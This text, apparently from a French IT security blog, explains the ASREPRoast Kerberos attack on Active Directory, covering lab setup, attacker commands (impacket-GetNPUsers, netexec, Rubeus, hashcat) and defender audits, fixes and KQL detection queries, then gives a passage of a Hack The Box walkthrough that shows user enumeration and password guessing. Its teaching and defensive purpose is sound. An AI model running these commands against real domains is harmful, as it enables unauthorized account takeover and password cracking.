Lorsqu'un utilisateur souhaite s'authentifier auprès du service Kerberos, le client envoi dans un premier temps un message de demande d'authentification ("KRB-AS-REQ"), voici à quoi il ressemble sur une capture réseau (cliquez sur l'image pour zoomer) :

Dans le cas d'une demande d'authentification avec un login incorrect, c'est-à-dire qui n'existe pas dans l'Active Directory, le service Kerberos renvoi un message de type "KRB-ERROR : C-PRINCIPAL-UNKNOWN" en réponse à l'AS-REQ" du client. Le message est clair : l'utilisateur "MMARTIN1" n'existe pas dans l'Active Directory.

• AS-REQ pour un login existant avec pré-authentification

Si le login est correct, le service renvoi une réponse de type "KRB-ERROR : PREAUTH REQUIRED". Cette réponse du service Kerberos indique que pour obtenir un TGT pour cet utilisateur, il faut au préalable s'authentifier, ce qui est plutôt une bonne nouvelle d'un point de vue sécurité. Rappelons que les TGT sont des tickets qui permettent de demander des TGS (Ticket Granting Service) pour accéder à un service au nom de l'utilisateur présenté dans le ticket. Il est donc préférable de prouver son identité (s'authentifier) au préalable.

À noter que cette différence de comportement dans la réponse du service ("PRINCIPAL_UNKNOWN "ou "PREAUTH REQUIRED") permet une énumération des utilisateurs basée sur un dictionnaire. Sans même connaitre le mot de passe associé à un compte, on peut savoir s'il existe dans l'annuaire, car le service Kerberos nous indiquera clairement cette information dans sa réponse.

Voici à quoi rassemble une réponse "PREAUTH_REQUIRED". Suite à cette réponse, notre client s'authentifie envoyant un message "AS-REQ", encore ? (cliquez sur l'image pour zoomer) :

Ce second message "AS-REQ" contient cependant un nouvel item, il s'agit d'une donnée chiffrée à l'aide d'une clé liée au mot de passe utilisateur. Si le service Kerberos parvient à déchiffrer ce message avec le mot de passe de l'utilisateur (qu'il possède de son côté grâce à l'annuaire et sa base NTDS.DIT) alors, il aura la preuve qu'il s'agit du bon mot de passe, et donc du vrai utilisateur. Tout cela sans que le mot de passe n'ait transité en clair sur le réseau. Pour plus de détails, sachez que la donnée chiffrée est un timestamp : c'est-à-dire la date et l'heure actuelle dans un format précis (notez le "pA-ENC-TIMESTAMP" dans la seconde AS-REQ).

Enfin, si les identifiants sont corrects, le service envoi un message de réponse "AS-REP" contenant notamment un TGT, qui permet de demander ensuite des TGS (cliquez sur l'image pour zoomer) à différents services :

Voilà à quoi ressemble une authentification "classique" via Kerberos en vue d'obtenir un TGT.

• AS-REQ pour un login existant sans pré-authentification

Cependant, Microsoft a ajouté un attribut aux objets utilisateur qui permet d'autoriser le service Kerberos à fournir un TGT à quiconque le demande, sans authentification : l'attribut "Do not require Kerberos preauthentication". Dans ce cas, un attaquant peut demander un TGT pour un tel compte sans avoir besoin de fournir de preuve d'identité valide. Voilà alors ce qu'il se passe (cliquez sur l'image pour zoomer) :

Une "AS-REQ", demandant un TGT pour l'utilisateur "RDUBOIS", puis une "AS-REP" du KDC délivrant TGT, le tout sans preuve d'identité (authentification). N'importe qui peut donc usurper l'identité de l'utilisateur "RDUBOIS" en demandant un TGT à son nom, puis utiliser ce TGT pour demander des TGS aux services du domaine et y accéder.

Pour être plus précis, rappelons que le TGT obtenu dans les messages "AS-REP" est chiffré et ne peut être utilisé sans connaître le mot de passe du compte utilisateur. Cependant, étant donné qu'il est chiffré avec un dérivé du mot de passe utilisateur, l'attaquant pourra tenter de casser ce mot de passe en Offline (localement, sans interactions supplémentaires avec le KDC ou le domaine), pour retrouver le mot de passe de l'utilisateur.

En résumé, quand cet attribut est présent sur un compte utilisateur, n'importe qui peut obtenir une donnée (le TGT) qui utilise un dérivé du mot de passe du compte utilisateur, et donc tenter de retrouver le mot de passe en clair. Même en étant confiant sur l'algorithme de chiffrement et la robustesse du mot de passe utilisé, reconnaissons qu'il est plutôt périlleux de fournir ce genre d'informations à un simple visiteur non authentifié sur notre système d'information.

J'espère que cette vue en détail des échanges Kerberos vous aura permis de mieux comprendre le fonctionnement de l'attaque ASREPRoast.

C. Pourquoi cet attribut ?

Certaines applications ne prennent pas en charge la pré-authentification Kerberos, il est ainsi courant de trouver des utilisateurs avec la pré-authentification Kerberos désactivée, permettant ainsi aux attaquants de demander des TGT pour ces utilisateurs. C'est la raison principale de l'existence de ce paramètre d'après la documentation Microsoft. La pré-authentification Kerberos peut également être désactivée pour d'autres raisons liées à des besoins spécifiques de sécurité ou de compatibilité avec d'autres systèmes.

Dans la réalité, il n'est pas rare de trouver de tels comptes, notamment sur des systèmes d'information qui ont un certain historique...

III. Configuration d'un Lab vulnérable

Attention, dans ce chapitre, nous allons configurer de manière volontaire un Lab vulnérable pour vous exposer le but et le fonctionnement de l'attaque.

NE PAS REPRODUIRE SUR UN ENVIRONNEMENT DE PRODUCTION.

Dans mon Lab de démonstration, j'ouvre la console "Utilisateurs et ordinateurs Active Directory", puis je sélectionne un de mes utilisateurs, ici l'utilisateur "RDUBOIS". Il faut ensuite faire un clic droit "Propriétés" sur cet objet et se rendre dans "Compte" :

Dans les "Options de compte", il faut trouver et cocher "La pré-authentification Kerberos n'est pas nécessaire" comme sur l'image ci-dessus.

Si vous vous souvenez des explications précédentes, l'attaque ASREPROAST est d'autant plus dangereuse si le mot de passe utilisé est faible, pour avoir un cas d'école, nous allons paramétrer le mot de passe de l'utilisateur "RDUBOIS" à "#1p@ssword" (ce n'est pas un mot de passe faible ? Vous allez voir que si ). Il faut à nouveau faire un clic droit sur l'objet puis "Réinitialiser le mot de passe" :

Voilà, notre Lab d'entrainement est prêt !

IV. Point de vue de l'attaquant

Soyez vigilant à n'exploiter ou même tenter de découvrir cette vulnérabilité que si vous y êtes autorisé. Pour rappel : Code pénal : Chapitre III : Des atteintes aux systèmes de traitement automatisé de données

A. Trouver une liste de noms

Vous l'aurez compris, pour effectuer une attaque ASREPRoast, il faut un login utilisateur à tester, voire plusieurs. Dans un premier temps, l'attaquant doit donc se constituer une liste de login (dictionnaire) qu'il soumettra ensuite au service Kerberos.

• Dans le cas où l'attaquant n'est pas authentifié sur le domaine (boite noire) :

Si l'attaquant n'a pas de compte sur l'Active Directory, il peut utiliser différentes méthodes pour récupérer des logins valides. L'OSINT (Open Source Intelligence) est une méthode assez commune puisqu'avec quelques requêtes Google ou recherches Linkedin, on peut assez facilement retrouver une liste de personnes travaillant dans une entreprise. La recherche dans des fuites de données, basée sur le nom de l'entreprise ou l'adresse mail, est aussi fréquente.

Depuis l'intérieur du réseau (toujours sans compte valide sur le domaine), il existe un grand nombre de techniques également. Les imprimantes sont mon moyen favori, souvent mal protégées avec des interfaces d'administration exposées et verbeuses, elles stockent des carnets d'adresses qui exposent souvent des logins utilisateur. Les applications web internes, services SNMP, SMB et RPC mal configurés (authentification anonyme) ou même l'interception réseau sont également très efficaces.

Également, il est possible pour l'attaquant d'utiliser des dictionnaires pré-conçus utilisant des couples prénom-noms communs, voir des noms de comptes techniques comme "svc-ldap", "backup", "formation", "accueil", etc. Les dictionnaires que j'utilise souvent sont publics et fonctionnent en général très bien, bien qu'utilisant majoritairement des noms anglophones : https://github.com/insidetrust/statistically-likely-usernames.

Avec toutes ces méthodes, il est souvent très facile de se constituer une liste bien fournie de logins utilisateur potentiels. Il faut enfin savoir les formater grâce à la nomenclature actuelle de l'Active Directory ciblé : est-ce "marc.martin", marc_martin, "m.martin", "mmartin" ? etc.

• Dans le cas où l'attaquant est authentifié sur le domaine (boite grise) :

Si l'attaquant possède déjà un compte sur le domaine, rien de plus facile. Une simple requête LDAP permettra de récupérer la totalité des logins utilisateur de l'annuaire, il aura alors une liste exhaustive des comptes à cibler, augmentant ses chances d'en trouver un avec l'attribut "Do not require Kerberos preauthentication".

Depuis Linux, une requête "ldapsearch" fera l'affaire :

ldapsearch -v -x -D "[email protected]" -W -b "DC=it-connect,DC=tech"  -H "ldap://ad01.it-connect.tech" "(&(objectClass=user))" sAMAccountName |grep "sAMAccountName:" |cut -d " " -f 2 > /tmp/userlist

J'utilise ici la commande "ldapsearch" pour récupérer les attributs "sAMAccountName" des utilisateurs du domaine, puis la commande "grep" pour isoler les lignes qui m'intéressent et enfin "cut" pour isoler uniquement le login de l'utilisateur. Si vous peinez à comprendre cette commande, n'hésitez pas à la décomposer dans votre environnement et à exécuter les commandes une à une. Le tout est enregistré dans le fichier "/tmp/userlist". Voici un exemple du résultat attendu :

Je me retrouve donc avec une liste de 1000 logins utilisateur valides dans le fichier "/tmp/userlist".

L'outil BloodHound va également récupérer la liste des utilisateurs pour les stocker dans un fichier JSON, qui pourra facilement être parcouru pour en extraire les logins. Je vous oriente sur mon cours sur BloodHound si vous souhaitez en savoir plus : Identifiez les faiblesses de votre Active Directory avec Bloodhound

Une fois cette liste, hypothétique, partielle ou complète à disposition, l'attaquant va pouvoir interroger sur le service Kerberos du domaine afin de voir si :

• L'utilisateur existe dans l'annuaire;
• Il dispose de l'attribut "Do not require Kerberos preauthentication".

B. Exploiter ASREPRoast depuis Linux

Depuis Linux, une multitude d'outils offensifs existent pour effectuer cette attaque. Je vais ici vous présenter les outils les plus classiques : "impacket" et "netexec".

Impacket est une bibliothèque Python utilisée pour interagir avec des protocoles de réseau tels que SMB, LDAP et Kerberos. Elle offre des outils pour la manipulation de paquets réseau, la création de serveurs et de clients pour ces protocoles, ainsi que des fonctionnalités avancées pour l'analyse et l'exploitation de vulnérabilités. Impacket est très largement utilisé pour les opérations offensives et de nombreux outils utilisent cette librairie.

En plus d'être une librairie très puissante, les créateurs d'Impacket fournissent des scripts qui l'utilisent afin d'automatiser certaines opérations et attaques, comme ASREPRoast. Je ne peux pas détailler ici la procédure d'installation de "Impacket" et de ses "examples scripts", je vous renvoie pour cela à la documentation officielle : Github - Impacket.

• ASREPRoast en boite noire

Nous allons notamment utiliser le script "impacket-GetNPUsers" ("NP" pour "NoPreauth"). Dans le cas où nous sommes en boite noire, nous avons au préalable construit notre dictionnaire à partir de différentes sources. Nous pouvons utiliser ce dictionnaire pour réaliser une attaque ASREPRoast. Ici,"192.168.56.102" est l'adresse IP de mon contrôleur de domaine, qui héberge le service Kerberos (KDC)) :

impacket-GetNPUsers -usersfile /tmp/userlist -request -format hashcat -outputfile /tmp/IMPACKET_asreproast_blackbox.txt -dc-ip 192.168.56.102 'it-connect.tech/'

L'outil netexec (NXC), également très présent dans les opérations offensives, peut aussi être utilisé :

netexec ldap 192.168.56.102 -u /tmp/userlist -p '' -d it-connect.tech --asreproast /tmp/NXC-asreproast_blackbox.out

• ASREPRoast en boite grise

Si l'on dispose d'un accès authentifié au domaine, encore mieux, "impacket-GetNPUsers" peut automatiser à la fois la récupération des utilisateurs dans la base LDAP, et l'envoi d'un "AS-REQ" en leur nom pour voir s'ils sont vulnérables à l'ASREPRoast :

impacket-GetNPUsers -request -format hashcat -outputfile ASREProastables.txt -dc-ip 192.168.56.102 'it-connect.tech/mmartin:MyPassword1!'  -outputfile /tmp/IMPACKET_asreproast_greybox.txt

Même principe pour "netexec", il suffira de spécifier l'utilisateur ("-u") et son mot de passe de ("-p") pour s'authentifier auprès du service LDAP afin de récupérer la liste des utilisateurs :

netexec ldap 192.168.56.102 -u mmartin -p 'MyPassword1!' --asreproast /tmp/NXC-asreproast_greybox.txt

Voici le résultat attendu pour "impacket-GetNPUsers" et "netexec" :

On voit donc que plusieurs logins sont tentés sur le service Kerberos et que, pour certains, un hash au format "$krb5asrep$23$" est obtenu. Il s'agit d'une donnée extraite du TGT obtenu pour chaque utilisateur vulnérable, spécialement formaté pour être interprété par des outils de cassage de mot de passe.

Maintenant que nous avons ces hashs, nous pouvons tenter de les casser, par exemple, à l'aide de "JohnTheRipper" ou "hashcat" et de listes de mots de passe communs comme le dictionnaire de mot de passe "rockyou.txt" :

hashcat -m 18200 -a 0 ASREProastables.txt rockyou.txt
john --wordlist=rockyou.txt ASREProastables.txt

Ce cassage s'effectue totalement en local, sans interactions avec l'Active Directory ou le service Kerberos. Ainsi, aucune détection n'est possible. Également, l'utilisateur a ici tout son temps et la rapidité de l'opération dépendra de la robustesse du mot de passe et des ressources de calcul qu'il a à disposition. Si des mots de passe faibles ont été utilisés par les comptes utilisateurs vulnérables, ils seront retrouvés par ces outils :

Si les mots de passe sont très robustes, alors il faudra déployer des moyens considérables pour les casser. Ici, le mot de passe semble plutôt correct avec 3 alphabets et une longueur de 10 caractères, mais il se trouve dans le dictionnaire public et très connu "rockyou.txt". Nous venons de retrouver le mot de passe d'un utilisateur de l'Active Directory par l'intermédiaire d'un TGT signé grâce à un dérivé de son mot de passe par le service Kerberos.

C. Exploiter ASREPRoast depuis Windows

Sous Windows, l'outil le plus classique pour effectuer cette attaque est "Rubeus.exe", écrit en C#. Le plus simple est de l'exécuter sur une machine intégrée au domaine ou via un "runas.exe" :

.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast

Voici le résultat attendu :

Comme pour les outils Linux, le fichier "hashes.asreproast" contiendra les hashs contenus dans les TGT récupérés et pourra être passé à "hashcat" ou "JohnTheRipper" pour cassage.

V. Point de vue du défenseur

A. Lister les comptes utilisateurs avec preauth-notreq

Nous allons maintenant adopter le point de vue du défenseur ou blue team qui souhaite savoir si des utilisateurs vulnérables à ASREPROAST sont présents sur son domaine.

Lorsque nous sommes sur notre propre domaine et contrôleur de domaine, le plus simple est d'utiliser le module PowerShell "ActiveDirectory" qui permet de communiquer avec ADSI (Active Directory Services Interface). Nous pouvons notamment cibler l'attribut "useraccountcontrol" pour extraire les utilisateurs disposant de l'attribut "Do not require Kerberos preauthentication", exemple :

Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name, DistinguisedName, Enabled

Voici le résultat attendu :

Nous avons la même liste utilisateur qu'obtenue via notre requête "ldapsearch" bien entendu, avec un filtre sur ceux qui ont déjà l'attribut "Do not require Kerberos authentication", mais nous utilisons ici des outils légitimes et plus accessibles pour les administrateurs système. J'ai notamment ajouté le "DN" et l'attribut "Enabled" en sortie de la commande (via le "Format-Table" ou "ft").

B. Corriger les comptes vulnérables

Une fois cette liste à disposition, il convient tout d'abord de déterminer :

• Pourquoi ils sont/ont été utilisés, pour quels besoins, services et systèmes ?
• Est-ce ce qu'ils sont toujours utilisés aujourd'hui ? (date de dernière authentification, dernier changement de mot de passe, journaux d'évènements)
• Est-ce que l'attribut "Do not require Kerberos authentication" est vraiment utile et répond à un besoin fonctionnel ?

Une fois que ces questions ont toutes une réponse claire pour chaque compte, la décision de désactiver cet attribut peut être prise.

• Corriger ASREPRoast via l'interface graphique

Depuis la console "Utilisateurs et ordinateurs Active Directory", effectuez un clic droit sur le compte utilisateur concerné, puis "Propriétés. Il faut ensuite se rendre dans "Compte" et localiser l'option suivante :

Une fois décochée, nous pouvons appliquer nos changements. La modification prend effet immédiatement.

• Corriger ASPREPRoast via Powershell

Il est aussi possible de modifier la valeur de cet attribut en PowerShell via ADSI. Le cmdlet "Set-ADAccountControl" est fournie par le module PowerShell "ActiveDirectory" :

PS C:\> Set-ADAccountControl -Identity rdubois -DoesNotRequirePreAuth $false

À nouveau, la modification est prise en compte immédiatement.

• Mesure complémentaire en cas de besoin fonctionnel

Si l'attribut "Do not require Kerberos preauthentication" est nécessaire et répond à un besoin identifié et justifié, alors il convient de mettre un mot de passe très, très robuste à ce compte. L'idée est que même si un TGT est récupéré, l'attaquant ne puisse pas casser le hash qu'il contient en vue de récupérer le mot de passe en clair de l'utilisateur. Optez donc pour un mot de passe à plus de 30 caractères.

Dans l'idéal, il est également nécessaire de prévoir un renouvellement périodique de ces mots de passe afin de réduire leur exposition dans le temps. Si l'attaquant dispose de tout le temps disponible devant lui pour casser le hash contenu dans le TGT, alors il finira peut-être par y arriver (peut-être au bout de plusieurs années). Mais si le mot de passe du compte est changé tous les six mois, il n'aura potentiellement pas le temps de l'exploiter une fois qu'il l'aura cassé. Il s'agit d'une mesure de sécurité supplémentaire.

• Limiter la propagation suite à une compromission

Il convient également de s'assurer que le compte qui dispose légitimement de l'attribut "Dot not require Kerberos preauthentication" possède des droits limités sur le domaine et le système d'information. La revue des ACL, appartenances aux groupes et l'application du principe de moindre privilège (configuration fine et minimaliste des droits pour répondre uniquement aux fonctions métiers) permettra de limiter au maximum les actions possibles de l'attaquant en cas de compromission du compte.

• Changement de mot de passe

Enfin, il est à noter que si le compte a eu jusque-là cet attribut, n'importe quel utilisateur de votre domaine a peut être déjà récupéré un TGT et obtenu son mot de passe, ou est en train de tenter de le casser. Ces mesures de correction doivent donc s'accompagner d'un changement de mot de passe afin qu'un attaquant exploitant ou ayant exploité cette faiblesse ne puisse pas réutiliser le mot de passe compromis pour ce compte, ce qui sera possible même si l'attribut en question a été décoché.

C. Détecter une attaque ASREPRoast

Du point de vue du défenseur, nous allons également nous intéresser aux possibilités de détection d'une attaque ASREPRoast passée ou en cours sur le système d'information.

• Détection via les journaux d'évènements

L'exploitation de l'ASREPRoast génère, comme toute interaction avec l'Active Directory, des évènements. Cependant, il n'est pas aisé de les distinguer clairement des activités légitimes et quotidiennes des utilisateurs du domaine. Il faut savoir que lorsqu'un "AS-REQ" est effectué sur un compte non vulnérable à l'ASREPRoast (et donc, échoue), aucun évènement de sécurité n'est généré. Seule l'émission d'un ticket Kerberos génère un évènement avec l'eventID 4768.

L'event ID 4768 est enregistré sur le contrôleur de domaine chaque fois qu'un TGT est émis. Il indique que le KDC a reçu une demande de TGT (AS-REQ) et qu'il a émis un TGT en réponse. L'évènement journalisé contient alors quelques détails intéressants sur la demande.

https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768

Cet évènement apparait donc si :

• La requête est émise avec une authentification valide, auquel cas un TGT est émis en réponse à l'"AS-REQ".
• La requête porte sur un utilisateur ayant l'attribut "Do not require Kerberos authentication", auquel cas pas besoin d'authentification, le TGT est tout de même émis en réponse à l'"AS-REQ".

Voici l'évènement tel qu'il apparaitra dans l'observateur d'évènement lors d'une demande de TGT classique, avec authentification (utilisation ici de "impacket-getTGT") :

On voit clairement qu'un TGT a été demandé et émis pour l'utilisateur "IT-CONNECT\mmartin" par le client "192.168.56.104". Nous allons également garder dans un coin de notre mémoire les informations relatives au "Type de pré-authentification" et "Type de chiffrement du ticket". Je réalise maintenant la même opération à destination du compte "IT-CONNECT\rdubois" et avec un outil offensif qui va directement demander un TGT sans authentification préalable (utilisation de "netexec") :

Les informations journalisées sont globalement les mêmes lors d'une demande et émission d'un TGT sur un compte ne nécessitant pas la pré-authentification. Cependant, on peut noter deux exceptions (à noter que le résultat est le même lors d'une exploitation avec "impacket-getNPUsers") :

• Le "Type de chiffrement du ticket" est passé à "0x17" au lieu de "0x12".
• Le "Type de pré-authentification" est passé à "0" au lieu de "2".

L'utilisation d'un chiffrement à "0x17" (RC4-HMAC) est un comportement typique des outils d'attaque qui downgrade (abaissent) le niveau de chiffrement utilisé pour le chiffrement du TGT afin de rendre le cassage de son contenu plus aisé. Par défaut, le niveau de chiffrement "0x12" entraine l'utilisation du AES256-CTS-HMAC-SHA1-96 (Source : 4768(S, F): A Kerberos authentication ticket (TGT) was requested). Voilà un premier élément caractéristique d'une attaque ASREPRoast avec des méthodes et outils classiques.

Egalement, la documentation Microsoft est limpide concernant les valeurs du "Type de pré-authentification" :

La demande de TGT avec une valeur "0" à "Type de pré-authentification" est donc également un signal intéressant à surveiller. Pour finir sur cette détection, je vous propose une requête KQL (pour ELK) qui permet d'identifier les événements de demande/émission d'un TGT avec un chiffrement faible (RC4) ou sans pré-authentification :

event.code:4768 AND (winlog.event_data.TicketEncryptionType: 0x17 OR winlog.event_data.PreAuthType: 0)

Pour détailler un peu la requête. Il s'agit d'un filtre sur les évènements Windows ayant un évènement ID 4768 et qui ont, soit un "TicketEncryptionType" à "0x17" (RC4), soit un "PreAuthType" à "0". Voici le résultat sur l'ELK de mon lab (avec moins d'activité qu'un vrai SI, bien sûr) :

Pas de doute, il y a eu une activité suspecte sur mon SI entre 17h45 et 18h15, des TGT sans pre-authentification et avec un algorithme de chiffrement faible ont été demandés.

Surveiller les modifications des attributs utilisateurs

Pour aller plus loin, vous pouvez également chercher et surveiller les event ID 4738 (A user account was changed) et 5136 (A directory service object was modified) qui apparaissent lorsqu'un attribut utilisateur est modifié :

Plutôt que la compromission, vous visualiserez alors tous les évènements d'activation/désactivation de l'attribut concerné sur des comptes utilisateurs, ce qui permettra de retrouver le moment où la vulnérabilité a été introduite sur le compte concerné. Là aussi, il faudra aller plus loin pour réellement identifier le nom de l'attribut modifié et s'assurer de n'obtenir que les alertes relatives à l'attribut "Do not require Kerberos preauthentication". Egalement, voici un exemple de requête filtre KQL pour cet évènement :

event.code:4738 AND winlog.event_data.UserAccountControl:*2096*

Voici l'aperçu d'un tel évènement dans la console ElasticSearch :

• Utilisation d'un honey account

Si vous maitrisez correctement la sécurité de votre système d'information, notamment avec un SIEM et un SOC (Security Operation Center) efficaces, alors vous pouvez envisager la mise en place d'un honey account, ou "compte pot de miel". L'idée est de créer un compte utilisateur volontairement vulnérable à ASREPRoast afin que sa compromission génère un évènement de sécurité activement surveillé par la blue team.

Pour cela, il faut notamment être sûr que ce compte ne sera jamais utilisé de façon légitime par un utilisateur ou un service du SI. Ainsi, si une demande de TGT pour ce compte spécifique apparait dans les journaux d'évènement, ce sera forcément dû à une attaque ASREPRoast en cours.

Attention : La création et la gestion d'un compte pot de miel nécessitent une attention particulière. Il faut s'assurer que les politiques de sécurité et les procédures de surveillance sont bien établies pour garantir que le compte reste contrôlé et qu'il ne devienne pas une vulnérabilité supplémentaire. Il faut notamment s'assurer que l'honey account ait un mot de passe très robuste afin que le hash contenu dans son TGT ne soit jamais cassé, ce qui permettrait à l'attaquant d'obtenir un compte valide sur le domaine.

VI. Conclusion

J'espère que cet article vous a plu et que vous avez maintenant une meilleure idée des risques liés à cette attaque et de la façon de s'en protéger. J'ai essayé de faire en sorte qu'il soit complet en abordant le point de vue des attaquants comme des défenseurs.

N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord !

The post Sécurité de l’Active Directory : comprendre et se protéger de l’attaque ASREPRoast first appeared on IT-Connect.

I. Présentation

Dans cet article, je vous propose la résolution de la machine Hack The Box Manager, de difficulté "Medium".

Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.

Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs

Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".

Technologies/attaques abordées	Windows, Kerberos, Active Directory, Brute force, MSSQL, AD-CS
Outils utilisés	nmap, kerbrute, impacket, evil-winrm, certipy

Retrouvez tous nos articles Hack The Box via ce lien :

• IT-Connect - Articles Hack The Box

II. Résolution de la box Manager

A. Découverte et énumération

Pour l'instant, nous ne disposons que de l'adresse IP de notre cible. Commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.

Technique d'attaque (MITRE ATT&CK) : T1046 - Network Service Discovery

$nmap --max-retries 1 -T4 -sS -A -v --open -p- 10.10.11.236

Nmap scan report for 10.10.11.236
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
   |_http-server-header: Microsoft-IIS/10.0
   | http-methods: 
   |   Supported Methods: OPTIONS TRACE GET HEAD POST
   |_  Potentially risky methods: TRACE
   |_http-title: Manager
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-10-25 18:44:02Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
    | ms-sql-info: 
    |   10.10.11.236:1433: 
    |     Version: 
    |       name: Microsoft SQL Server 2019 RTM
    |       number: 15.00.2000.00
    |       Product: Microsoft SQL Server 2019
    |       Service pack level: RTM
    |       Post-SP patches applied: false

5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
    |_http-title: Not Found
    |_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing

Nous voyons ici clairement que nous sommes sur un système d'exploitation Windows sans pare-feu. Nous pouvons également comprendre, grâce aux ports exposés, qu'il s'agit d'un Active Directory. Les Active Directory sont quasiment les seuls systèmes à exposer un service Kerberos (port TCP/88), un service DNS (TCP/53) ainsi que les services RPC et SMB habituels (TCP/135, TCP/139 et TCP/445). Nous voyons également un service de base de données MSSQL sur le port TCP/1433, beaucoup moins commun sur un Active Directory.

Technique d'attaque (MITRE ATT&CK) : T1087.002 - Account Discovery: Domain Account

Un annuaire Active Directory est une cible des plus intéressantes pour un attaquant, c'est LA cible principale puisque sa compromission nous donne accès aux clés du domaine (littéralement). Problème ici, nous n'avons aucun identifiant valide et toutes nos tentatives de trouver une CVE ou un service mal configuré avec un accès anonyme se sont soldées par un échec. Nous allons devoir y aller "à l'aveugle" grâce à une fonctionnalité (et non pas une vulnérabilité) du service Kerberos : l'authentification (AS-REQ).

Lorsqu'un utilisateur souhaite interagir avec le service Kerberos de notre AD, il doit au préalable être authentifié (sauf cas spécifiques avec l'attribut DONT_REQ_PREAUTH, bref). Il se trouve que le service Kerberos permet, nativement, l'énumération des utilisateurs lors de la phase d'authentification (c'est-à-dire avant authentification). Voyons cela de plus près :

Dans la trace réseau ci-dessus, j’envoie un paquet de type "AS_REQ" (Authentication Service Request) au service Kerberos ciblé. Celui-ci me répond avec un message "KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN" (Client not found in Kerberos database). Plutôt explicite, le nom d'utilisateur spécifié n'est pas reconnu par le service Kerberos, il n'existe pas. Voyons ce que cela donne avec un nom d'utilisateur qui existe forcément dans un Active Directory : administrator/administrateur :

La réponse est différente. Nous ne sommes certes pas authentifiés, mais nous avons obtenu une information : le compte administrator existe au sein de l'Active Directory et le service Kerberos nous l'indique indirectement par un changement dans sa réponse.

Nous venons ici de voir ce qu'est une énumération d'utilisateur. Beaucoup plus commune au sein des applications web, l'attaquant est en mesure de savoir, sans être authentifié, si un login utilisateur existe ou n'existe pas. Cela en exploitant un comportement "binaire" du service interrogé qui peut être un message d'erreur, mais aussi un temps de réponse différent.

On ne fait pas grand chose avec cette information, mais l'authentification reposant sur un login et un mot de passe, nous avons ici déjà 50% de l'information à découvrir. Avec du temps et un bon dictionnaire, nous pourrons obtenir une liste de comptes valides, qui deviendront alors des cibles pour nos prochaines attaques.

Cette "faiblesse" est très connue des attaquants et son exploitation est implémentée dans de très nombreux outils visant les Active Directory. Ici, nous allons utiliser l'outil "kerbrute", il se démarque notamment par sa rapidité :

[user@kali-user:/opt/statistically-likely-usernames$ kerbrute userenum -d manager.htb --dc 10.10.11.236 service-accounts.txt -o kerbrute_validUsers_service.txt
2023/10/25 14:20:17 >  [+] VALID USERNAME:       [email protected]
2023/10/25 14:20:17 >  [+] VALID USERNAME:       [email protected]
2023/10/25 14:20:17 >  [+] VALID USERNAME:       [email protected]]()

Je vous dois ici quelques explications. Tout d'abord, le domaine "manager.htb", d’où sort-il ? Nous l'avons en fait obtenu grâce à "nmap" et ses premières opérations d'énumération. Le nom de domaine est divulgué à dessein par l'Active Directory et ses services DNS et LDAP, comment s'authentifier auprès de lui sinon ?

Également, le dictionnaire que j'utilise ici est "service-accounts.txt". Elle provient de l'excellente ressource statistically-likely-usernames. Il s'agit d'une liste de nom (dictionnaires) contenant des noms utilisateur qui, statistiquement, ont de grandes chances de se retrouver dans un Active Directory. Il peut s'agir de nom de services, de noms utilisés pour des tests ou de noms "communs", comme John Smith, Eric Dupont, etc. Encore mieux, les différents dictionnaires proposés sont formatés en fonction des nomenclatures les plus communes. Pour John Smith, on trouvera par exemple le login "john.smith", "j.smith", "jsmith", "john.s". Le seul problème de cette ressource est qu'elle contient majoritairement des noms anglais.

Bref, grâce à "kerbrute", qui a exploité l'énumération utilisateur via l'"AS_REQ" Kerberos et une liste de nom de service statistiquement probable, nous parvenons à identifier le compte "operator".

B. Mot de passe faible et MSSQL

Je renseigne les noms des utilisateurs trouvés dans une liste que je pourrais réutiliser ensuite :

echo "operator" > logins.txt
echo "guest" > logins.txt
echo "administrator" > logins.txt

Il nous faut à présent trouver le mot de passe correspondant à ce compte. Nous allons utiliser "netexec" pour effectuer une authentification via SMB en utilisant les logins identifiés :

Technique d'attaque (MITRE ATT&CK) : T1110.001 - Brute Force: Password Guessing

$ netexec smb 10.10.11.236 -u logins.txt -p logins.txt --no-bruteforce                
SMB         10.10.11.236    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.236    445    DC01             [+] manager.htb\operator:operator  

Ici, nous allons utiliser notre liste de login à la fois comme entrée du paramètre "-u" (username) et "-p" (password). Avec l'option "--no-bruteforce", l'outil saura que l'on souhaite faire une attaque de type user as pass. Autrement dit, tenter une seule authentification par compte, avec comme mot de passe login utilisateur.

